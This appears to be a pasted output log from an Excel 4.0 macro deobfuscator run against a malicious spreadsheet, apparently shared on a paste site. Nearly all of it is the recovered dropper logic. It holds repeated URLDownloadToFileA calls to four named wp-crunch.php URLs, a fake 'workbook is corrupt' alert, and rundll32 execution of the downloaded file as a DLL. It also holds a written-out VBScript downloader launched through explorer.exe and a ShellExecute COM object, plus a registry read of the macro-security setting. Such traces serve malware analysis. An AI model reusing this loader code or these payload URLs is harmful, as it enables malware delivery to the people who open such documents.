- CELL:EK34945 , FullEvaluation , [FALSE]
- CELL:EK34946 , FullBranching , IF(ISNUMBER(SEARCH("32",GET.WORKSPACE(1))),GOTO(R19560C173),GOTO(R24369C231))
- CELL:EK34946 , FullEvaluation , [TRUE] GOTO(R19560C173)
- CELL:FQ19560 , FullEvaluation , "=""C:\Users\Public\A95lG.html"""
- CELL:FQ19561 , FullEvaluation , "=""https://helpdallas.org/wp-crunch.php"""
- CELL:FQ19562 , FullEvaluation , "=CALL(""urlmon"",""URLDownloadToFileA"",""JJCCJJ"",0,R36146C30,R36145C30,0,0)"
- CELL:FQ19563 , FullEvaluation , "=FILES(R36145C30)"
- CELL:FQ19564 , FullEvaluation , "=IF(ISERROR(R36148C30),GOTO(R36155C30),)"
- CELL:FQ19565 , FullEvaluation , "=FOPEN(R36145C30)"
- CELL:FQ19566 , FullEvaluation , "=FSIZE(R36150C30)"
- CELL:FQ19567 , FullEvaluation , "=FCLOSE(R36150C30)"
- CELL:FQ19568 , FullEvaluation , "=IF(R36151C30<40000,,GOTO(R36172C30))"
- CELL:FQ19569 , FullEvaluation , "=""https://designerremodeling.com/wp-crunch.php"""
- CELL:FQ19570 , FullEvaluation , "=CALL(""urlmon"",""URLDownloadToFileA"",""JJCCJJ"",0,R36154C30,R36145C30,0,0)"
- CELL:FQ19571 , FullEvaluation , "=FILES(R36145C30)"
- CELL:FQ19572 , FullEvaluation , "=IF(ISERROR(R36156C30),GOTO(R36163C30),)"
- CELL:FQ19573 , FullEvaluation , "=FOPEN(R36145C30)"
- CELL:FQ19574 , FullEvaluation , "=FSIZE(R36158C30)"
- CELL:FQ19575 , FullEvaluation , "=FCLOSE(R36158C30)"
- CELL:FQ19576 , FullEvaluation , "=IF(R36159C30<40000,,GOTO(R36172C30))"
- CELL:FQ19577 , FullEvaluation , "=""https://healsoul.thememove.com/wp-crunch.php"""
- CELL:FQ19578 , FullEvaluation , "=CALL(""urlmon"",""URLDownloadToFileA"",""JJCCJJ"",0,R36162C30,R36145C30,0,0)"
- CELL:FQ19579 , FullEvaluation , "=FILES(R36145C30)"
- CELL:FQ19580 , FullEvaluation , "=IF(ISERROR(R36164C30),GOTO(R36171C30),)"
- CELL:FQ19581 , FullEvaluation , "=FOPEN(R36145C30)"
- CELL:FQ19582 , FullEvaluation , "=FSIZE(R36166C30)"
- CELL:FQ19583 , FullEvaluation , "=FCLOSE(R36166C30)"
- CELL:FQ19584 , FullEvaluation , "=IF(R36167C30<40000,,GOTO(R36172C30))"
- CELL:FQ19585 , FullEvaluation , "=""https://septatechnology.com/wp-crunch.php"""
- CELL:FQ19586 , FullEvaluation , "=CALL(""urlmon"",""URLDownloadToFileA"",""JJCCJJ"",0,R36170C30,R36145C30,0,0)"
- CELL:FQ19587 , FullEvaluation , "=""The workbook cannot be opened or repaired by Microsoft Excel because it's corrupt."""
- CELL:FQ19588 , FullEvaluation , "=ALERT(R36172C30)"
- CELL:FQ19589 , FullEvaluation , "=""C:\Windows\system32\rundll32.exe"""
- CELL:FQ19590 , FullEvaluation , "=R36145C30&"",DllRegisterServer"""
- CELL:FQ19591 , FullEvaluation , "=CALL(""Shell32"",""ShellExecuteA"",""JJCCCJJ"",0,""open"",R36174C30,R36175C30,0,5)"
- CELL:FQ19592 , FullEvaluation , "=GOTO(R34832C141)"
- CELL:FQ19593 , FullEvaluation , ON.TIME(2020-08-16 06:09:46.292383,'BgGIL5lfRvUbzqcAWl'!BV61639)
- CELL:BV61639 , FullEvaluation , FORMULA("=FORMULA(R[-42080]C[99],R[-25495]C[-44])",BgGIL5lfRvUbzqcAWl$BV$61640:$BV$61672)
- CELL:BV61640 , FullEvaluation , FORMULA("=""C:\Users\Public\A95lG.html""",R[-25495]C[-44])
- CELL:BV61641 , FullEvaluation , FORMULA("=""https://helpdallas.org/wp-crunch.php""",R[-25495]C[-44])
- CELL:BV61642 , FullEvaluation , FORMULA("=CALL(""urlmon"",""URLDownloadToFileA"",""JJCCJJ"",0,R36146C30,R36145C30,0,0)",R[-25495]C[-44])
- CELL:BV61643 , FullEvaluation , FORMULA("=FILES(R36145C30)",R[-25495]C[-44])
- CELL:BV61644 , FullEvaluation , FORMULA("=IF(ISERROR(R36148C30),GOTO(R36155C30),)",R[-25495]C[-44])
- CELL:BV61645 , FullEvaluation , FORMULA("=FOPEN(R36145C30)",R[-25495]C[-44])
- CELL:BV61646 , FullEvaluation , FORMULA("=FSIZE(R36150C30)",R[-25495]C[-44])
- CELL:BV61647 , FullEvaluation , FORMULA("=FCLOSE(R36150C30)",R[-25495]C[-44])
- CELL:BV61648 , FullEvaluation , FORMULA("=IF(R36151C30<40000,,GOTO(R36172C30))",R[-25495]C[-44])
- CELL:BV61649 , FullEvaluation , FORMULA("=""https://designerremodeling.com/wp-crunch.php""",R[-25495]C[-44])
- CELL:BV61650 , FullEvaluation , FORMULA("=CALL(""urlmon"",""URLDownloadToFileA"",""JJCCJJ"",0,R36154C30,R36145C30,0,0)",R[-25495]C[-44])
- CELL:BV61651 , FullEvaluation , FORMULA("=FILES(R36145C30)",R[-25495]C[-44])
- CELL:BV61652 , FullEvaluation , FORMULA("=IF(ISERROR(R36156C30),GOTO(R36163C30),)",R[-25495]C[-44])
- CELL:BV61653 , FullEvaluation , FORMULA("=FOPEN(R36145C30)",R[-25495]C[-44])
- CELL:BV61654 , FullEvaluation , FORMULA("=FSIZE(R36158C30)",R[-25495]C[-44])
- CELL:BV61655 , FullEvaluation , FORMULA("=FCLOSE(R36158C30)",R[-25495]C[-44])
- CELL:BV61656 , FullEvaluation , FORMULA("=IF(R36159C30<40000,,GOTO(R36172C30))",R[-25495]C[-44])
- CELL:BV61657 , FullEvaluation , FORMULA("=""https://healsoul.thememove.com/wp-crunch.php""",R[-25495]C[-44])
- CELL:BV61658 , FullEvaluation , FORMULA("=CALL(""urlmon"",""URLDownloadToFileA"",""JJCCJJ"",0,R36162C30,R36145C30,0,0)",R[-25495]C[-44])
- CELL:BV61659 , FullEvaluation , FORMULA("=FILES(R36145C30)",R[-25495]C[-44])
- CELL:BV61660 , FullEvaluation , FORMULA("=IF(ISERROR(R36164C30),GOTO(R36171C30),)",R[-25495]C[-44])
- CELL:BV61661 , FullEvaluation , FORMULA("=FOPEN(R36145C30)",R[-25495]C[-44])
- CELL:BV61662 , FullEvaluation , FORMULA("=FSIZE(R36166C30)",R[-25495]C[-44])
- CELL:BV61663 , FullEvaluation , FORMULA("=FCLOSE(R36166C30)",R[-25495]C[-44])
- CELL:BV61664 , FullEvaluation , FORMULA("=IF(R36167C30<40000,,GOTO(R36172C30))",R[-25495]C[-44])
- CELL:BV61665 , FullEvaluation , FORMULA("=""https://septatechnology.com/wp-crunch.php""",R[-25495]C[-44])
- CELL:BV61666 , FullEvaluation , FORMULA("=CALL(""urlmon"",""URLDownloadToFileA"",""JJCCJJ"",0,R36170C30,R36145C30,0,0)",R[-25495]C[-44])
- CELL:BV61667 , FullEvaluation , FORMULA("=""The workbook cannot be opened or repaired by Microsoft Excel because it's corrupt.""",R[-25495]C[-44])
- CELL:BV61668 , FullEvaluation , FORMULA("=ALERT(R36172C30)",R[-25495]C[-44])
- CELL:BV61669 , FullEvaluation , FORMULA("=""C:\Windows\system32\rundll32.exe""",R[-25495]C[-44])
- CELL:BV61670 , FullEvaluation , FORMULA("=R36145C30&"",DllRegisterServer""",R[-25495]C[-44])
- CELL:BV61671 , FullEvaluation , FORMULA("=CALL(""Shell32"",""ShellExecuteA"",""JJCCCJJ"",0,""open"",R36174C30,R36175C30,0,5)",R[-25495]C[-44])
- CELL:BV61672 , FullEvaluation , FORMULA("=GOTO(R34832C141)",R[-25495]C[-44])
- CELL:BV61673 , FullEvaluation , ON.TIME(2020-08-16 06:09:46.324091,'BgGIL5lfRvUbzqcAWl'!AD36145)
- CELL:AD36145 , FullEvaluation , "C:\Users\Public\A95lG.html"
- CELL:AD36146 , FullEvaluation , "https://helpdallas.org/wp-crunch.php"
- CELL:AD36147 , FullEvaluation , CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,"https://helpdallas.org/wp-crunch.php","C:\Users\Public\A95lG.html",0,0)
- CELL:AD36148 , PartialEvaluation , FILES("C:\Users\Public\A95lG.html")
- CELL:AD36149 , FullBranching , IF(ISERROR(R36148C30),GOTO(R36155C30),)
- CELL:AD36149 , FullEvaluation , [TRUE] GOTO(R36155C30)
- CELL:AD36155 , FullEvaluation , CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,"https://designerremodeling.com/wp-crunch.php","C:\Users\Public\A95lG.html",0,0)
- CELL:AD36156 , PartialEvaluation , FILES("C:\Users\Public\A95lG.html")
- CELL:AD36157 , FullBranching , IF(ISERROR(R36156C30),GOTO(R36163C30),)
- CELL:AD36157 , FullEvaluation , [TRUE] GOTO(R36163C30)
- CELL:AD36163 , FullEvaluation , CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,"https://healsoul.thememove.com/wp-crunch.php","C:\Users\Public\A95lG.html",0,0)
- CELL:AD36164 , PartialEvaluation , FILES("C:\Users\Public\A95lG.html")
- CELL:AD36165 , FullBranching , IF(ISERROR(R36164C30),GOTO(R36171C30),)
- CELL:AD36165 , FullEvaluation , [TRUE] GOTO(R36171C30)
- CELL:AD36171 , FullEvaluation , CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,"https://septatechnology.com/wp-crunch.php","C:\Users\Public\A95lG.html",0,0)
- CELL:AD36172 , FullEvaluation , "The workbook cannot be opened or repaired by Microsoft Excel because it's corrupt."
- CELL:AD36173 , PartialEvaluation , ALERT("The workbook cannot be opened or repaired by Microsoft Excel because it's corrupt.")
- CELL:AD36174 , FullEvaluation , "C:\Windows\system32\rundll32.exe"
- CELL:AD36175 , FullEvaluation , "C:\Users\Public\A95lG.html,DllRegisterServer"
- CELL:AD36176 , FullEvaluation , CALL("Shell32","ShellExecuteA","JJCCCJJ",0,"open","C:\Windows\system32\rundll32.exe","C:\Users\Public\A95lG.html,DllRegisterServer",0,5)
- CELL:AD36177 , FullEvaluation , GOTO(R34832C141)
- CELL:EK34832 , End , CLOSE(FALSE)
- CELL:AD36165 , FullEvaluation , [FALSE]
- CELL:AD36166 , FullEvaluation , FOPEN("C:\Users\Public\A95lG.html",1)
- CELL:AD36167 , PartialEvaluation , FSIZE("C:\Users\Public\A95lG.html")
- CELL:AD36168 , PartialEvaluation , FCLOSE("C:\Users\Public\A95lG.html")
- CELL:AD36169 , FullEvaluation , IF(R36167C30<40000,,GOTO(R36172C30))
- CELL:AD36170 , FullEvaluation , "https://septatechnology.com/wp-crunch.php"
- CELL:AD36171 , FullEvaluation , CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,"https://septatechnology.com/wp-crunch.php","C:\Users\Public\A95lG.html",0,0)
- CELL:AD36172 , FullEvaluation , "The workbook cannot be opened or repaired by Microsoft Excel because it's corrupt."
- CELL:AD36173 , PartialEvaluation , ALERT("The workbook cannot be opened or repaired by Microsoft Excel because it's corrupt.")
- CELL:AD36174 , FullEvaluation , "C:\Windows\system32\rundll32.exe"
- CELL:AD36175 , FullEvaluation , "C:\Users\Public\A95lG.html,DllRegisterServer"
- CELL:AD36176 , FullEvaluation , CALL("Shell32","ShellExecuteA","JJCCCJJ",0,"open","C:\Windows\system32\rundll32.exe","C:\Users\Public\A95lG.html,DllRegisterServer",0,5)
- CELL:AD36177 , FullEvaluation , GOTO(R34832C141)
- CELL:EK34832 , End , CLOSE(FALSE)
- CELL:AD36157 , FullEvaluation , [FALSE]
- CELL:AD36158 , FullEvaluation , FOPEN("C:\Users\Public\A95lG.html",1)
- CELL:AD36159 , PartialEvaluation , FSIZE("C:\Users\Public\A95lG.html")
- CELL:AD36160 , PartialEvaluation , FCLOSE("C:\Users\Public\A95lG.html")
- CELL:AD36161 , FullEvaluation , IF(R36159C30<40000,,GOTO(R36172C30))
- CELL:AD36162 , FullEvaluation , "https://healsoul.thememove.com/wp-crunch.php"
- CELL:AD36163 , FullEvaluation , CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,"https://healsoul.thememove.com/wp-crunch.php","C:\Users\Public\A95lG.html",0,0)
- CELL:AD36164 , PartialEvaluation , FILES("C:\Users\Public\A95lG.html")
- CELL:AD36165 , FullBranching , IF(ISERROR(R36164C30),GOTO(R36171C30),)
- CELL:AD36165 , FullEvaluation , [TRUE] GOTO(R36171C30)
- CELL:AD36171 , FullEvaluation , CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,"https://septatechnology.com/wp-crunch.php","C:\Users\Public\A95lG.html",0,0)
- CELL:AD36172 , FullEvaluation , "The workbook cannot be opened or repaired by Microsoft Excel because it's corrupt."
- CELL:AD36173 , PartialEvaluation , ALERT("The workbook cannot be opened or repaired by Microsoft Excel because it's corrupt.")
- CELL:AD36174 , FullEvaluation , "C:\Windows\system32\rundll32.exe"
- CELL:AD36175 , FullEvaluation , "C:\Users\Public\A95lG.html,DllRegisterServer"
- CELL:AD36165 , FullEvaluation , [FALSE]
- CELL:AD36166 , FullEvaluation , FOPEN("C:\Users\Public\A95lG.html",1)
- CELL:AD36167 , PartialEvaluation , FSIZE("C:\Users\Public\A95lG.html")
- CELL:AD36168 , PartialEvaluation , FCLOSE("C:\Users\Public\A95lG.html")
- CELL:AD36169 , FullEvaluation , IF(R36167C30<40000,,GOTO(R36172C30))
- CELL:AD36170 , FullEvaluation , "https://septatechnology.com/wp-crunch.php"
- CELL:AD36171 , FullEvaluation , CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,"https://septatechnology.com/wp-crunch.php","C:\Users\Public\A95lG.html",0,0)
- CELL:AD36172 , FullEvaluation , "The workbook cannot be opened or repaired by Microsoft Excel because it's corrupt."
- CELL:AD36173 , PartialEvaluation , ALERT("The workbook cannot be opened or repaired by Microsoft Excel because it's corrupt.")
- CELL:AD36149 , FullEvaluation , [FALSE]
- CELL:AD36150 , FullEvaluation , FOPEN("C:\Users\Public\A95lG.html",1)
- CELL:AD36151 , PartialEvaluation , FSIZE("C:\Users\Public\A95lG.html")
- CELL:AD36152 , PartialEvaluation , FCLOSE("C:\Users\Public\A95lG.html")
- CELL:AD36153 , FullEvaluation , IF(R36151C30<40000,,GOTO(R36172C30))
- CELL:AD36154 , FullEvaluation , "https://designerremodeling.com/wp-crunch.php"
- CELL:AD36155 , FullEvaluation , CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,"https://designerremodeling.com/wp-crunch.php","C:\Users\Public\A95lG.html",0,0)
- CELL:AD36156 , PartialEvaluation , FILES("C:\Users\Public\A95lG.html")
- CELL:AD36157 , FullBranching , IF(ISERROR(R36156C30),GOTO(R36163C30),)
- CELL:AD36157 , FullEvaluation , [TRUE] GOTO(R36163C30)
- CELL:AD36163 , FullEvaluation , CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,"https://healsoul.thememove.com/wp-crunch.php","C:\Users\Public\A95lG.html",0,0)
- CELL:AD36164 , PartialEvaluation , FILES("C:\Users\Public\A95lG.html")
- CELL:AD36165 , FullBranching , IF(ISERROR(R36164C30),GOTO(R36171C30),)
- CELL:AD36165 , FullEvaluation , [TRUE] GOTO(R36171C30)
- CELL:AD36171 , FullEvaluation , CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,"https://septatechnology.com/wp-crunch.php","C:\Users\Public\A95lG.html",0,0)
- CELL:AD36165 , FullEvaluation , [FALSE]
- CELL:AD36166 , FullEvaluation , FOPEN("C:\Users\Public\A95lG.html",1)
- CELL:AD36167 , PartialEvaluation , FSIZE("C:\Users\Public\A95lG.html")
- CELL:AD36168 , PartialEvaluation , FCLOSE("C:\Users\Public\A95lG.html")
- CELL:AD36169 , FullEvaluation , IF(R36167C30<40000,,GOTO(R36172C30))
- CELL:AD36170 , FullEvaluation , "https://septatechnology.com/wp-crunch.php"
- CELL:AD36171 , FullEvaluation , CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,"https://septatechnology.com/wp-crunch.php","C:\Users\Public\A95lG.html",0,0)
- CELL:AD36172 , FullEvaluation , "The workbook cannot be opened or repaired by Microsoft Excel because it's corrupt."
- CELL:AD36173 , PartialEvaluation , ALERT("The workbook cannot be opened or repaired by Microsoft Excel because it's corrupt.")
- CELL:AD36157 , FullEvaluation , [FALSE]
- CELL:AD36158 , FullEvaluation , FOPEN("C:\Users\Public\A95lG.html",1)
- CELL:AD36159 , PartialEvaluation , FSIZE("C:\Users\Public\A95lG.html")
- CELL:AD36160 , PartialEvaluation , FCLOSE("C:\Users\Public\A95lG.html")
- CELL:AD36161 , FullEvaluation , IF(R36159C30<40000,,GOTO(R36172C30))
- CELL:AD36162 , FullEvaluation , "https://healsoul.thememove.com/wp-crunch.php"
- CELL:AD36163 , FullEvaluation , CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,"https://healsoul.thememove.com/wp-crunch.php","C:\Users\Public\A95lG.html",0,0)
- CELL:AD36164 , PartialEvaluation , FILES("C:\Users\Public\A95lG.html")
- CELL:AD36165 , FullBranching , IF(ISERROR(R36164C30),GOTO(R36171C30),)
- CELL:AD36165 , FullEvaluation , [FALSE]
- CELL:AD36166 , FullEvaluation , FOPEN("C:\Users\Public\A95lG.html",1)
- CELL:AD36167 , PartialEvaluation , FSIZE("C:\Users\Public\A95lG.html")
- CELL:AD36168 , PartialEvaluation , FCLOSE("C:\Users\Public\A95lG.html")
- CELL:AD36169 , FullEvaluation , IF(R36167C30<40000,,GOTO(R36172C30))
- CELL:AD36170 , FullEvaluation , "https://septatechnology.com/wp-crunch.php"
- CELL:AD36171 , FullEvaluation , CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,"https://septatechnology.com/wp-crunch.php","C:\Users\Public\A95lG.html",0,0)
- CELL:AD36172 , FullEvaluation , "The workbook cannot be opened or repaired by Microsoft Excel because it's corrupt."
- CELL:AD36173 , PartialEvaluation , ALERT("The workbook cannot be opened or repaired by Microsoft Excel because it's corrupt.")
- CELL:EK34946 , FullEvaluation , [FALSE] GOTO(R24369C231)
- CELL:HW24369 , FullEvaluation , "=""C:\Users\Public\BrGcon8.html"""
- CELL:HW24370 , FullEvaluation , "=""C:\Users\Public\e1oC.vbs"""
- CELL:HW24371 , FullEvaluation , "=FOPEN(R27791C156,3)"
- CELL:HW24372 , FullEvaluation , "=FWRITELN(R27792C156,""FNJ = """"https://helpdallas.org/wp-crunch.php"""""")"
- CELL:HW24373 , FullEvaluation , "=FWRITELN(R27792C156,""wTQ0Dh = """"https://designerremodeling.com/wp-crunch.php"""""")"
- CELL:HW24374 , FullEvaluation , "=FWRITELN(R27792C156,""Ys5EI = """"https://healsoul.thememove.com/wp-crunch.php"""""")"
- CELL:HW24375 , FullEvaluation , "=FWRITELN(R27792C156,""wFqUsnj = """"https://septatechnology.com/wp-crunch.php"""""")"
- CELL:HW24376 , FullEvaluation , "=FWRITELN(R27792C156,""SaNy56z = Array(FNJ,wTQ0Dh,Ys5EI,wFqUsnj)"")"
- CELL:HW24377 , FullEvaluation , "=FWRITELN(R27792C156,""Dim tf4f: Set tf4f = CreateObject(""""MSXML2.ServerXMLHTTP.6.0"""")"")"
- CELL:HW24378 , FullEvaluation , "=FWRITELN(R27792C156,""Function oxMpk(data):"")"
- CELL:HW24379 , FullEvaluation , "=FWRITELN(R27792C156,""tf4f.setOption(2) = 13056"")"
- CELL:HW24380 , FullEvaluation , "=FWRITELN(R27792C156,""tf4f.Open """"GET"""", data, False"")"
- CELL:HW24381 , FullEvaluation , "=FWRITELN(R27792C156,""tf4f.setRequestHeader """"User-Agent"""", """"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)"""""")"
- CELL:HW24382 , FullEvaluation , "=FWRITELN(R27792C156,""tf4f.Send"")"
- CELL:HW24383 , FullEvaluation , "=FWRITELN(R27792C156,""oxMpk = tf4f.Status"")"
- CELL:HW24384 , FullEvaluation , "=FWRITELN(R27792C156,""End Function"")"
- CELL:HW24385 , FullEvaluation , "=FWRITELN(R27792C156,""For Each tHIt8 in SaNy56z"")"
- CELL:HW24386 , FullEvaluation , "=FWRITELN(R27792C156,""If oxMpk(tHIt8) = 200 Then"")"
- CELL:HW24387 , FullEvaluation , "=FWRITELN(R27792C156,""Dim xiGB: Set xiGB = CreateObject(""""ADODB.Stream"""")"")"
- CELL:HW24388 , FullEvaluation , "=FWRITELN(R27792C156,""xiGB.Open"")"
- CELL:HW24389 , FullEvaluation , "=FWRITELN(R27792C156,""xiGB.Type = 1"")"
- CELL:HW24390 , FullEvaluation , "=FWRITELN(R27792C156,""xiGB.Write tf4f.ResponseBody"")"
- CELL:HW24391 , FullEvaluation , "=FWRITELN(R27792C156,""xiGB.SaveToFile """"""&R27790C156&"""""", 2"")"
- CELL:HW24392 , FullEvaluation , "=FWRITELN(R27792C156,""xiGB.Close"")"
- CELL:HW24393 , FullEvaluation , "=FWRITELN(R27792C156,""Exit For"")"
- CELL:HW24394 , FullEvaluation , "=FWRITELN(R27792C156,""End If"")"
- CELL:HW24395 , FullEvaluation , "=FWRITELN(R27792C156,""Next"")"
- CELL:HW24396 , FullEvaluation , "=FCLOSE(R27792C156)"
- CELL:HW24397 , FullEvaluation , "=EXEC(""explorer.exe ""&R27791C156&"""")"
- CELL:HW24398 , FullEvaluation , "=WHILE(ISERROR(FILES(R27790C156)))"
- CELL:HW24399 , FullEvaluation , "=WAIT(NOW()+""00:00:01"")"
- CELL:HW24400 , FullEvaluation , "=NEXT()"
- CELL:HW24401 , FullEvaluation , "=FILE.DELETE(R27791C156)"
- CELL:HW24402 , FullEvaluation , "=ALERT(""The workbook cannot be opened or repaired by Microsoft Excel because it is corrupt."")"
- CELL:HW24403 , FullEvaluation , "=""C:\Users\Public\ieLs.vbs"""
- CELL:HW24404 , FullEvaluation , "=FOPEN(R27824C156,3)"
- CELL:HW24405 , FullEvaluation , "=""rundll32.exe"""
- CELL:HW24406 , FullEvaluation , "=R27790C156&"",DllRegisterServer"""
- CELL:HW24407 , FullEvaluation , "=""C:\Windows\System32"""
- CELL:HW24408 , FullEvaluation , "=FWRITELN(R27825C156,""Set Ujjwj4C = GetObject(""""new:C08AFD90-F2A1-11D1-8455-00A0C91F3880"""")"")"
- CELL:HW24409 , FullEvaluation , "=FWRITELN(R27825C156,""Ujjwj4C.Document.Application.ShellExecute """"""&R27826C156&"""""",""""""&R27827C156&"""""",""""""&R27828C156&"""""",Null,0"")"
- CELL:HW24410 , FullEvaluation , "=FCLOSE(R27825C156)"
- CELL:HW24411 , FullEvaluation , "=EXEC(""explorer.exe ""&R27824C156&"""")"
- CELL:HW24412 , FullEvaluation , "=GOTO(R34832C141)"
- CELL:HW24413 , FullEvaluation , ON.TIME(2020-08-16 06:09:46.927331,'BgGIL5lfRvUbzqcAWl'!AA58589)
- CELL:AA58589 , FullEvaluation , FORMULA("=FORMULA(R[-34221]C[204],R[-30800]C[129])",BgGIL5lfRvUbzqcAWl$BV$61640:$BV$61672)
- CELL:AA58634 , FullEvaluation , ON.TIME(2020-08-16 06:09:46.927331,None)
- CELL:AA58635 , FullEvaluation , RETURN()
- CELL:EK34925 , FullEvaluation , [FALSE] GOTO(R34832C141)
- CELL:EK34832 , End , CLOSE(FALSE)
- Files:
- Files: path C:\Users\Public\Bcy75IXg.vbs, access 3
- On Error Resume Next
- Set ggLxt = CreateObject("WScript.Shell")
- Set JJ0Vlx = CreateObject("Scripting.FileSystemObject")
- Set KEPJk = JJ0Vlx.CreateTextFile("C:\Users\Public\h9W.txt", True)
- KEPJk.WriteLine(ggLxt.RegRead("HKCU\Software\Microsoft\Office\GET.WORKSPACE(2)\Excel\Security\VBAWarnings"))
- KEPJk.Close
- [END of Deobfuscation]
- time elapsed: 17.231865644454956
- Process finished with exit code 0
Add Comment
Please, Sign In to add comment